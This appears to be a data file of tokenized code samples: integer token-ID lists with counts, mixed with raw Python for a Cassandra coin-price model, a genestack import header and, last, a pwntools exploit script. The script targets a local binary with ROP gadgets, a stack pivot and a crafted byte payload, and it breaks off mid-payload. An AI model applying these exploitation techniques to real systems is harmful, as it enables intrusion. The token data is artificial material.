4694,
796,
17635,
198,
10913,
2246,
62,
3697,
46,
1404,
62,
35,
29267,
62,
51,
3535,
796,
657,
13,
8298,
198,
198,
29113,
29113,
14468,
7804,
2,
198,
2,
383,
1708,
2438,
329,
9706,
287,
257,
1729,
12,
41938,
4704,
318,
422,
12972,
1470,
88,
1616,
291,
13,
1002,
198,
2,
220,
220,
220,
356,
3888,
340,
284,
613,
88,
313,
75,
11,
356,
714,
1330,
340,
422,
612,
357,
265,
262,
1575,
286,
1642,
8,
198,
2,
220,
220,
220,
267,
23047,
2357,
64,
4745,
319,
613,
88,
313,
13,
198,
4871,
15768,
34991,
7,
34991,
2599,
198,
220,
220,
220,
37227,
16818,
12,
21230,
4670,
518,
326,
17259,
262,
3090,
286,
257,
1693,
284,
14257,
37811,
198,
220,
220,
220,
825,
1234,
7,
944,
11,
2378,
11,
2512,
28,
14202,
11,
26827,
28,
14202,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
37227,
11187,
82,
4600,
9186,
63,
379,
262,
14257,
1241,
788,
3848,
2779,
12,
4871,
1234,
37811,
198,
220,
220,
220,
220,
220,
220,
220,
4808,
25294,
13,
24442,
7203,
4,
82,
8358,
1739,
1,
4064,
965,
7,
9186,
4008,
198,
220,
220,
220,
220,
220,
220,
220,
4670,
518,
13,
1996,
7,
944,
11,
2378,
11,
2512,
28,
9967,
11,
26827,
28,
48678,
8,
628,
198,
62,
21858,
80,
796,
15768,
34991,
3419,
628,
198,
4299,
8383,
33529,
198,
220,
220,
220,
37227,
18943,
9504,
9052,
286,
1972,
3946,
572,
286,
4808,
21858,
80,
290,
9489,
606,
526,
15931,
198,
220,
220,
220,
981,
6407,
25,
198,
220,
220,
220,
220,
220,
220,
220,
1693,
796,
4808,
21858,
80,
13,
1136,
3419,
198,
220,
220,
220,
220,
220,
220,
220,
4808,
25294,
13,
24442,
10786,
1,
90,
36786,
2067,
1,
4458,
18982,
7,
21858,
4008,
198,
220,
220,
220,
220,
220,
220,
220,
1949,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1693,
13,
9688,
3419,
198,
220,
220,
220,
220,
220,
220,
220,
2845,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
4808,
25294,
13,
1069,
4516,
7203,
12468,
263,
9950,
19570,
198,
220,
220,
220,
220,
220,
220,
220,
2073,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1949,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1693,
13,
1136,
62,
43420,
3419,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2845,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
4808,
25294,
13,
1069,
4516,
7203,
12468,
263,
6631,
13,
220,
13047,
287,
1693,
13,
1136,
62,
43420,
4943,
198,
220,
220,
220,
220,
220,
220,
220,
4808,
25294,
13,
24442,
10786,
1,
90,
36786,
5668,
4458,
18982,
7,
21858,
4008,
198,
220,
220,
220,
220,
220,
220,
220,
4808,
21858,
80,
13,
35943,
62,
28060,
3419,
628,
198,
62,
33249,
1137,
62,
4221,
15675,
50,
796,
17635,
628,
198,
4299,
923,
62,
28816,
7,
22510,
62,
22896,
2599,
198,
220,
220,
220,
37227,
49855,
82,
8383,
14390,
884,
326,
379,
1551,
4600,
22510,
62,
22896,
63,
14390,
481,
307,
198,
220,
220,
220,
5611,
329,
7587,
3946,
287,
262,
1693,
80,
13,
628,
220,
220,
220,
383,
691,
835,
326,
345,
460,
651,
517,
621,
4600,
22510,
62,
22896,
63,
14390,
318,
611,
345,
198,
220,
220,
220,
423,
4271,
1444,
262,
2163,
351,
257,
1271,
1875,
4600,
22510,
62,
22896,
44646,
198,
220,
220,
220,
357,
28816,
14390,
389,
1239,
2923,
737,
198,
220,
220,
220,
37227,
198,
220,
220,
220,
6818,
997,
62,
22896,
1875,
657,
11,
366,
32,
3967,
1271,
1276,
307,
3804,
355,
262,
1271,
286,
8383,
14390,
1,
198,
220,
220,
220,
997,
62,
41745,
62,
20270,
796,
18896,
28264,
33249,
1137,
62,
4221,
15675,
50,
8,
198,
220,
220,
220,
329,
1312,
287,
2837,
7,
22510,
62,
41745,
62,
20270,
11,
997,
62,
22896,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
4808,
25294,
13,
24442,
7203,
46182,
10813,
35412,
4704,
1303,
4,
67,
1,
4064,
1312,
8,
198,
220,
220,
220,
220,
220,
220,
220,
256,
796,
14122,
7,
16793,
28,
28816,
8,
198,
220,
220,
220,
220,
220,
220,
220,
4808,
33249,
1137,
62,
4221,
15675,
50,
13,
33295,
7,
83,
8,
198,
220,
220,
220,
220,
220,
220,
220,
256,
13,
2617,
26531,
7966,
7,
17821,
8,
198,
220,
220,
220,
220,
220,
220,
220,
256,
13,
9688,
3419,
198,
198,
29113,
29113,
14468,
7804,
2,
198,
62,
19011,
62,
3672,
62,
1462,
62,
42180,
62,
24396,
796,
19779,
18851,
1298,
7007,
13,
1136,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
366,
30076,
1298,
7007,
13,
1996,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
366,
32782,
1298,
7007,
13,
7353,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
366,
7206,
2538,
9328,
1298,
7007,
13,
33678,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
366,
37682,
1298,
7007,
13,
2256,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
366,
3185,
51,
11053,
1298,
7007,
13,
25811,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1782,
198,
17614,
62,
37682,
4877,
796,
1391,
6,
11299,
12,
4906,
6,
1058,
705,
31438,
14,
17752,
3256,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
705,
13635,
6,
1058,
705,
31438,
14,
17752,
3256,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1782,
198,
29113,
29113,
14468,
7804,
2,
198,
198,
47,
2389,
25664,
62,
20608,
796,
366,
35317,
7753,
13,
14116,
1,
198,
49,
4944,
15871,
62,
35009,
5959,
796,
6045,
198,
35009,
5959,
62,
15490,
796,
12863,
1303,
3298,
11,
900,
416,
43749,
13,
10664,
276,
416,
4382,
4219,
290,
14390,
198,
35009,
5959,
62,
12425,
62,
1137,
49,
62,
43221,
796,
366,
9288,
12,
15388,
12,
19282,
39605,
81,
13,
14116,
1,
198,
198,
7708,
4146,
1961,
62,
51,
1546,
4694,
11,
33854,
1961,
62,
51,
1546,
4694,
796,
685,
4357,
17635,
628,
198,
198,
361,
11593,
3672,
834,
6624,
705,
834,
12417,
834,
10354,
198,
220,
220,
220,
1330,
1822,
29572,
198,
220,
220,
220,
1330,
40481,
82,
198,
220,
220,
220,
1330,
25064,
198,
220,
220,
220,
1330,
28686,
198,
220,
220,
220,
30751,
796,
1822,
29572,
13,
28100,
1713,
46677,
7,
11213,
2625,
10987,
82,
262,
267,
23047,
12,
83,
349,
12,
18504,
290,
5254,
3417,
287,
2446,
13,
17752,
3696,
4943,
198,
220,
220,
220,
30751,
13,
2860,
62,
49140,
10786,
438,
19290,
30565,
12,
15908,
3256,
2672,
28,
17821,
11,
1037,
11639,
43055,
326,
318,
262,
2560,
286,
262,
1687,
30565,
3696,
11537,
198,
220,
220,
220,
30751,
13,
2860,
62,
49140,
10786,
438,
1837,
429,
8497,
12,
8000,
3256,
2672,
28,
17821,
11,
1037,
11639,
43055,
326,
318,
262,
2560,
286,
21263,
29196,
357,
361,
612,
318,
517,
621,
530,
850,
34945,
11,
788,
612,
481,
307,
3294,
7150,
4983,
532,
326,
3038,
318,
407,
880,
6789,
737,
11537,
198,
220,
220,
220,
30751,
13,
2860,
62,
49140,
10786,
438,
13499,
12,
15908,
3256,
2672,
28,
17821,
11,
1037,
11639,
43055,
326,
6622,
262,
267,
23047,
12,
83,
349,
12,
18504,
28883,
290,
543,
481,
307,
262,
1762,
8619,
286,
262,
4382,
2637,
8,
198,
220,
220,
220,
30751,
13,
2860,
62,
49140,
10786,
438,
41989,
12,
8000,
3256,
2672,
28,
17821,
11,
1037,
11639,
43055,
13,
5501,
850,
15908,
326,
6622,
257,
366,
24396,
13,
17752,
1,
2393,
481,
307,
16173,
355,
257,
1332,
2637,
8,
198,
220,
220,
220,
30751,
13,
2860,
62,
49140,
10786,
438,
9288,
12,
3672,
3256,
4277,
28,
14202,
11,
2672,
28,
25101,
11,
1037,
11639,
5376,
286,
257,
850,
15908,
286,
262,
5254,
12,
8000,
26672,
13,
1002,
2810,
691,
326,
1332,
481,
307,
1057,
26,
4306,
477,
286,
262,
5254,
481,
307,
1057,
2637,
8,
198,
220,
220,
220,
30751,
13,
2860,
62,
49140,
10786,
438,
15388,
12,
634,
3256,
4277,
28,
29110,
11,
2099,
28,
600,
11,
2672,
28,
25101,
11,
1037,
11639,
13924,
1271,
329,
262,
4382,
11537,
198,
220,
220,
220,
30751,
13,
2860,
62,
49140,
10786,
438,
15388,
12,
16663,
82,
3256,
4277,
28,
19,
11,
2099,
28,
600,
11,
2672,
28,
25101,
11,
1037,
11639,
15057,
286,
14390,
329,
262,
4382,
11537,
198,
220,
220,
220,
30751,
13,
2860,
62,
49140,
10786,
438,
9288,
12,
16663,
82,
3256,
4277,
28,
23,
11,
2099,
28,
600,
11,
2672,
28,
25101,
11,
1037,
11639,
15057,
286,
14390,
5611,
329,
2491,
5254,
2637,
8,
198,
220,
220,
220,
30751,
13,
2860,
62,
49140,
10786,
438,
2363,
82,
12,
1462,
12,
260,
9122,
12,
35317,
12,
7753,
3256,
4277,
28,
15,
11,
2099,
28,
600,
11,
2672,
28,
25101,
11,
1037,
11639,
1532,
262,
46514,
2393,
7160,
11,
262,
1429,
481,
3802,
257,
9052,
11029,
290,
664,
258,
44377,
329,
428,
1271,
286,
4201,
2637,
8,
198,
220,
220,
220,
220,
198,
220,
220,
220,
26498,
796,
30751,
13,
29572,
62,
22046,
3419,
198,
220,
220,
220,
611,
26498,
13,
15388,
62,
16663,
82,
1279,
352,
393,
26498,
13,
9288,
62,
16663,
82,
1279,
352,
25,
198,
220,
220,
220,
220,
220,
220,
220,
25064,
13,
37023,
7203,
464,
1271,
286,
14390,
1276,
307,
3967,
19570,
198,
220,
220,
220,
1687,
30565,
62,
15908,
796,
26498,
13,
19290,
30565,
62,
15908,
198,
220,
220,
220,
611,
407,
28686,
13,
6978,
13,
9409,
343,
7,
19290,
30565,
62,
15908,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
25064,
13,
37023,
10786,
27017,
30565,
8619,
45144,
36786,
857,
407,
2152,
13,
59,
77,
4458,
18982,
7,
19290,
30565,
62,
15908,
4008,
198,
220,
220,
220,
33549,
62,
1845,
62,
6978,
796,
26498,
13,
1837,
429,
8497,
62,
8000,
198,
220,
220,
220,
611,
407,
28686,
13,
6978,
13,
9409,
343,
7,
28869,
400,
62,
1845,
62,
6978,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
25064,
13,
37023,
10786,
13940,
429,
6587,
5509,
2560,
8619,
45144,
36786,
857,
407,
2152,
13,
59,
77,
4458,
18982,
7,
28869,
400,
62,
1845,
62,
6978,
4008,
198,
220,
220,
220,
409,
68,
62,
15908,
796,
26498,
13,
13499,
62,
15908,
198,
220,
220,
220,
611,
407,
28686,
13,
6978,
13,
9409,
343,
7,
13499,
62,
15908,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
25064,
13,
37023,
10786,
23002,
18187,
8619,
45144,
36786,
857,
407,
2152,
13,
59,
77,
4458,
18982,
7,
13499,
62,
15908,
4008,
198,
220,
220,
220,
1332,
62,
1845,
796,
26498,
13,
41989,
62,
8000,
198,
220,
220,
220,
611,
407,
28686,
13,
6978,
13,
9409,
343,
7,
9288,
62,
1845,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
25064,
13,
37023,
10786,
51,
3558,
2560,
8619,
45144,
36786,
857,
407,
2152,
13,
59,
77,
4458,
18982,
7,
9288,
62,
1845,
4008,
198,
220,
220,
220,
611,
26498,
13,
9288,
62,
3672,
318,
407,
6045,
25,
198,
220,
220,
220,
220,
220,
220,
220,
304,
62,
15908,
62,
4868,
796,
685,
22046,
13,
9288,
62,
3672,
60,
198,
220,
220,
220,
2073,
25,
198,
220,
220,
220,
220,
220,
220,
220,
304,
62,
15908,
62,
4868,
796,
651,
62,
9288,
62,
15908,
82,
62,
4625,
7,
9288,
62,
1845,
8,
198,
220,
220,
220,
220,
220,
220,
220,
304,
62,
15908,
62,
4868,
13,
30619,
3419,
198,
220,
220,
220,
18871,
5959,
62,
15490,
796,
26498,
13,
15388,
62,
634,
628,
220,
220,
220,
1303,
3497,
1332,
13532,
198,
220,
220,
220,
284,
62,
5143,
796,
17635,
198,
220,
220,
220,
329,
304,
62,
7266,
15908,
62,
3672,
287,
304,
62,
15908,
62,
4868,
25,
198,
220,
220,
220,
220,
220,
220,
220,
304,
62,
6978,
796,
28686,
13,
6978,
13,
22179,
7,
9288,
62,
1845,
11,
304,
62,
7266,
15908,
62,
3672,
8,
198,
220,
220,
220,
220,
220,
220,
220,
611,
407,
28686,
13,
6978,
13,
9409,
343,
7,
68,
62,
6978,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
25064,
13,
301,
1082,
81,
13,
13564,
7203,
50,
4106,
2105,
1332,
23884,
2233,
284,
4814,
26672,
23884,
3467,
77,
1911,
18982,
7,
68,
62,
7266,
15908,
62,
3672,
11,
304,
62,
6978,
4008,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2555,
198,
220,
220,
220,
220,
220,
220,
220,
285,
7753,
796,
28686,
13,
6978,
13,
22179,
7,
68,
62,
6978,
11,
366,
24396,
13,
17752,
4943,
198,
220,
220,
220,
220,
220,
220,
220,
611,
407,
28686,
13,
6978,
13,
4468,
576,
7,
76,
7753,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
25064,
13,
301,
1082,
81,
13,
13564,
7203,
50,
4106,
2105,
1332,
23884,
2233,
284,
4814,
2393,
23884,
59,
77,
1911,
18982,
7,
68,
62,
7266,
15908,
62,
3672,
11,
285,
7753,
4008,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2555,
198,
220,
220,
220,
220,
220,
220,
220,
284,
62,
5143,
13,
33295,
7,
68,
62,
6978,
8,
198,
220,
220,
220,
611,
407,
284,
62,
5143,
25,
198,
220,
220,
220,
220,
220,
220,
220,
25064,
13,
37023,
7203,
2949,
1332,
547,
1043,
2474,
8,
628,
220,
220,
220,
1303,
6822,
326,
612,
389,
645,
37022,
16624,
287,
262,
835,
198,
220,
220,
220,
46514,
7753,
62,
6978,
796,
28686,
13,
6978,
13,
22179,
7,
13499,
62,
15908,
11,
37022,
25664,
62,
20608,
8,
198,
220,
220,
220,
611,
28686,
13,
6978,
13,
1069,
1023,
7,
35317,
7753,
62,
6978,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
664,
258,
694,
796,
657,
198,
220,
220,
220,
220,
220,
220,
220,
8794,
62,
525,
62,
2363,
796,
513,
198,
220,
220,
220,
220,
220,
220,
220,
981,
664,
258,
694,
1279,
8794,
62,
525,
62,
2363,
9,
22046,
13,
2363,
82,
62,
1462,
62,
260,
9122,
62,
35317,
62,
7753,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
664,
258,
694,
15853,
352,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
640,
13,
42832,
7,
16,
13,
15,
14,
42116,
62,
525,
62,
2363,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
407,
28686,
13,
6978,
13,
1069,
1023,
7,
35317,
7753,
62,
6978,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2270,
198,
220,
220,
220,
220,
220,
220,
220,
611,
28686,
13,
6978,
13,
1069,
1023,
7,
35317,
7753,
62,
6978,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
25064,
13,
37023,
7203,
90,
92,
318,
287,
262,
835,
0,
59,
77,
1911,
18982,
7,
35317,
7753,
62,
6978,
4008,
628,
220,
220,
220,
1303,
1949,
13925,
267,
23047,
12,
83,
349,
12,
18504,
290,
2491,
262,
5254,
1028,
340,
13,
198,
220,
220,
220,
329,
1312,
287,
2837,
7,
17,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
611,
4219,
62,
15388,
7,
13499,
62,
15908,
28,
13499,
62,
15908,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1687,
30565,
62,
15908,
28,
19290,
30565,
62,
15908,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
33549,
62,
1845,
28,
28869,
400,
62,
1845,
62,
6978,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
4382,
62,
16663,
82,
28,
22046,
13,
15388,
62,
16663,
82,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1949,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
997,
62,
6603,
276,
11,
299,
69,
11,
497,
796,
1057,
62,
41989,
7,
9288,
62,
1845,
11,
284,
62,
5143,
11,
26498,
13,
9288,
62,
16663,
82,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
3443,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1494,
62,
15388,
7,
13499,
62,
15908,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
36871,
62,
51,
1546,
4694,
796,
299,
69,
1343,
497,
1343,
997,
62,
6603,
276,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
6818,
299,
69,
6624,
18896,
7,
7708,
4146,
1961,
62,
51,
1546,
4694,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
6818,
497,
6624,
18896,
7,
24908,
1961,
62,
51,
1546,
4694,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
25064,
13,
301,
1082,
81,
13,
13564,
10786,
14478,
276,
1391,
79,
25,
67,
92,
14,
90,
83,
25,
67,
92,
5254,
2637,
13,
18982,
7,
79,
28,
22510,
62,
6603,
276,
11,
256,
28,
41359,
62,
51,
1546,
4694,
4008,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
9677,
4146,
1961,
62,
51,
1546,
4694,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
25064,
13,
301,
1082,
81,
13,
13564,
10786,
22738,
7479,
77,
220,
220,
220,
23884,
59,
77,
4458,
18982,
10786,
59,
77,
220,
220,
220,
45302,
22179,
7,
7708,
4146,
1961,
62,
51,
1546,
4694,
22305,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
33854,
1961,
62,
51,
1546,
4694,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
25064,
13,
301,
1082,
81,
13,
13564,
10786,
44225,
287,
7479,
77,
220,
220,
220,
23884,
59,
77,
4458,
18982,
10786,
59,
77,
220,
220,
220,
45302,
22179,
7,
24908,
1961,
62,
51,
1546,
4694,
22305,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
299,
69,
1343,
497,
1875,
657,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
25064,
13,
37023,
7,
77,
69,
1343,
497,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
25064,
13,
301,
1082,
81,
13,
13564,
10786,
12564,
4093,
7597,
59,
77,
11537,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
25064,
13,
37023,
7,
15,
8,
198,
220,
220,
220,
220,
220,
220,
220,
2073,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
640,
13,
42832,
7,
16,
8,
1303,
823,
11429,
357,
1712,
1884,
2728,
318,
262,
2493,
407,
852,
13459,
422,
2180,
1332,
8,
220,
198,
220,
220,
220,
4808,
25294,
13,
18224,
7203,
10697,
4219,
4054,
25,
366,
8,
198,
220,
220,
220,
351,
1280,
7,
418,
13,
6978,
13,
22179,
7,
13499,
62,
15908,
11,
18871,
5959,
62,
12425,
62,
1137,
49,
62,
43221,
828,
705,
81,
11537,
355,
384,
78,
25,
198,
220,
220,
220,
220,
220,
220,
220,
25064,
13,
301,
1082,
81,
13,
13564,
7,
325,
78,
13,
961,
28955,
198,
220,
220,
220,
25064,
13,
37023,
32590,
16,
8,
628
] | 2.37543 | 3,492 |
from cassandra.cluster import Cluster
from cassandra.cqlengine import connection
from cassandra.cqlengine.management import sync_table
from coins import Coin
CQLENG_ALLOW_SCHEMA_MANAGEMENT='CQLENG_ALLOW_SCHEMA_MANAGEMENT'
cluster=Cluster()
connection.setup(['127.0.0.1'], "cassy", protocol_version=3)
class CoinPrice
a = Coin()
##Cassandra coin model syncs to default cassandra connection under cassy keyspace.
##row key for time series data https://academy.datastax.com/resources/getting-started-time-series-data-modeling
#row partitioning:
# In some cases, the amount of data gathered for a single device isn’t practical to fit onto a single row. Cassandra can store up to 2 billion columns per row, but if we’re storing data every millisecond you wouldn’t even get a month’s worth of data. The solution is to use a pattern called row partitioning by adding data to the row key to limit the amount of columns you get per device. Using data already available in the event, we can use the date portion of the timestamp and add that to the weather station id. This will give us a row per day, per weather station, and an easy way to find the data. (figure 2)
# day = datetime.date.today().strftime('%m-%d-%Y')
# name = "XRP"
# ticker="XRPUSD"
# pair="XRPUSD"
# icon_url="https://www.google.com"
# price="0.8934"
# price=0.8934
# btc_price=0.00001
# created_at=datetime.datetime.now()
# source = "binance"
# a = Coin.create(day=day, name=name, ticker=ticker, pair=pair, icon_url=icon_url, price=price, btc_price=btc_price, source="binance", created_at=created_at)
| [
6738,
30606,
15918,
13,
565,
5819,
1330,
38279,
198,
6738,
30606,
15918,
13,
66,
13976,
18392,
1330,
4637,
198,
6738,
30606,
15918,
13,
66,
13976,
18392,
13,
27604,
1330,
17510,
62,
11487,
198,
6738,
10796,
1330,
16312,
198,
34,
9711,
26808,
62,
7036,
3913,
62,
50,
3398,
27630,
62,
10725,
4760,
12529,
11639,
34,
9711,
26808,
62,
7036,
3913,
62,
50,
3398,
27630,
62,
10725,
4760,
12529,
6,
198,
198,
565,
5819,
28,
2601,
5819,
3419,
198,
38659,
13,
40406,
7,
17816,
16799,
13,
15,
13,
15,
13,
16,
6,
4357,
366,
66,
11720,
1600,
8435,
62,
9641,
28,
18,
8,
198,
198,
4871,
16312,
18124,
198,
64,
796,
16312,
3419,
628,
628,
198,
2235,
43529,
15918,
10752,
2746,
6171,
6359,
284,
4277,
30606,
15918,
4637,
739,
269,
11720,
8251,
10223,
13,
198,
2235,
808,
1994,
329,
640,
2168,
1366,
220,
3740,
1378,
330,
324,
3065,
13,
19608,
459,
897,
13,
785,
14,
37540,
14,
37210,
12,
46981,
12,
2435,
12,
25076,
12,
7890,
12,
4666,
10809,
198,
198,
2,
808,
18398,
278,
25,
198,
2,
554,
617,
2663,
11,
262,
2033,
286,
1366,
9272,
329,
257,
2060,
3335,
2125,
447,
247,
83,
8472,
284,
4197,
4291,
257,
2060,
5752,
13,
46750,
460,
3650,
510,
284,
362,
2997,
15180,
583,
5752,
11,
475,
611,
356,
447,
247,
260,
23069,
1366,
790,
33606,
623,
345,
3636,
447,
247,
83,
772,
651,
257,
1227,
447,
247,
82,
2861,
286,
1366,
13,
383,
4610,
318,
284,
779,
257,
3912,
1444,
5752,
18398,
278,
416,
4375,
1366,
284,
262,
5752,
1994,
284,
4179,
262,
2033,
286,
15180,
345,
651,
583,
3335,
13,
8554,
1366,
1541,
1695,
287,
262,
1785,
11,
356,
460,
779,
262,
3128,
6903,
286,
262,
41033,
290,
751,
326,
284,
262,
6193,
4429,
4686,
13,
770,
481,
1577,
514,
257,
5752,
583,
1110,
11,
583,
6193,
4429,
11,
290,
281,
2562,
835,
284,
1064,
262,
1366,
13,
357,
26875,
362,
8,
628,
198,
2,
1110,
796,
4818,
8079,
13,
4475,
13,
40838,
22446,
2536,
31387,
10786,
4,
76,
12,
4,
67,
12,
4,
56,
11537,
198,
2,
1438,
796,
366,
55,
20031,
1,
198,
2,
4378,
263,
2625,
55,
20031,
29072,
1,
198,
2,
5166,
2625,
55,
20031,
29072,
1,
198,
2,
7196,
62,
6371,
2625,
5450,
1378,
2503,
13,
13297,
13,
785,
1,
198,
2,
2756,
2625,
15,
13,
4531,
2682,
1,
198,
2,
2756,
28,
15,
13,
4531,
2682,
198,
2,
275,
23047,
62,
20888,
28,
15,
13,
2388,
16,
198,
2,
2727,
62,
265,
28,
19608,
8079,
13,
19608,
8079,
13,
2197,
3419,
198,
2,
2723,
796,
366,
8800,
590,
1,
198,
2,
257,
796,
16312,
13,
17953,
7,
820,
28,
820,
11,
1438,
28,
3672,
11,
4378,
263,
28,
83,
15799,
11,
5166,
28,
24874,
11,
7196,
62,
6371,
28,
4749,
62,
6371,
11,
2756,
28,
20888,
11,
275,
23047,
62,
20888,
28,
18347,
66,
62,
20888,
11,
2723,
2625,
8800,
590,
1600,
2727,
62,
265,
28,
25598,
62,
265,
8,
198
] | 3.175758 | 495 |
# -*- coding: utf-8 -*-
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from future import standard_library
standard_library.install_aliases()
from builtins import *
from genestack_client import Application, FilesUtil, GenestackException, Metainfo
| [
2,
532,
9,
12,
19617,
25,
3384,
69,
12,
23,
532,
9,
12,
198,
198,
6738,
11593,
37443,
834,
1330,
4112,
62,
11748,
198,
6738,
11593,
37443,
834,
1330,
7297,
198,
6738,
11593,
37443,
834,
1330,
3601,
62,
8818,
198,
6738,
11593,
37443,
834,
1330,
28000,
1098,
62,
17201,
874,
198,
6738,
2003,
1330,
3210,
62,
32016,
198,
20307,
62,
32016,
13,
17350,
62,
7344,
1386,
3419,
198,
6738,
3170,
1040,
1330,
1635,
198,
6738,
2429,
395,
441,
62,
16366,
1330,
15678,
11,
13283,
18274,
346,
11,
5215,
395,
441,
16922,
11,
3395,
391,
6513,
628
] | 3.65625 | 96 |
#!/usr/bin/env python3
from pwn import *
context.update(arch = 'amd64', os = 'linux', log_level = 'info')
target = ELF('./target', checksec=False)
libc_2_24_so = ELF('./libc-2.24.so', checksec=False)
__libc_csu_init = 0x400840
__libc_csu_init_call_target = 0x400e48
__libc_csu_init_gadget1 = 0x400896
__libc_csu_init_gadget2 = 0x400880
canary = 0x0
libc_2_24_so_base = 0x0
pivot_dest = 0x601860
target_base = 0x0
target_leave_ret = 0x40074a
target_pop_rbp_ret = 0x400668
if __name__ == '__main__':
proc = process(['./ld-2.24.so', './target'], env={'LD_PRELOAD': './libc-2.24.so'})
payload = b'\x45\x76\x65\x72\x79\x74\x68\x69\x6e\x67\x20\x69\x6e\x74\x65\x6c\x6c\x69\x67\x65\x6e\x74\x20\x69\x73\x20\x73\x6f\x20\x62\x6f\x72\x69\x6e\x67\x2e\x6e\x57\x00\x61\x00\x00\x00\x00\x00\x00\x00\x00\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\x6e\